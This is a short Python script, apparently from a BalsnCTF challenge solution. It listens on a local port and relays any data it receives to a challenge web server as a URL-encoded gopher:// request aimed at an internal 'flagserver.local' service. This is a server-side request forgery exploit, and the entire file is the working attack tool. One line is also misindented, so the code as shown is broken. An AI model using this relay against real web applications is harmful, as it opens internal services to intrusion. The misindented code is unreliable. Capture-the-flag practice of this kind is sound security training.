goproxy.py

import socket
import time
import urllib.parse
import requests

HOST = '0.0.0.0'  # Standard loopback interface address (localhost)
PORT = 65432

def serve_request(conn):
    # Lets just wait until we can assume all the data was sent
    time.sleep(.5)
    data = conn.recv(8192)
    payload = '_' + urllib.parse.quote(data)

    requests.post("http://4pplemusic2.balsnctf.com:28880/index.php", data = {"url": "gopher://flagserver.local:34571/" + payload})

   return

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen()
    while True:
        conn, addr = s.accept()
        with conn:
            print('Connected by', addr)
            serve_request(conn)
            print('Disconnected by', addr)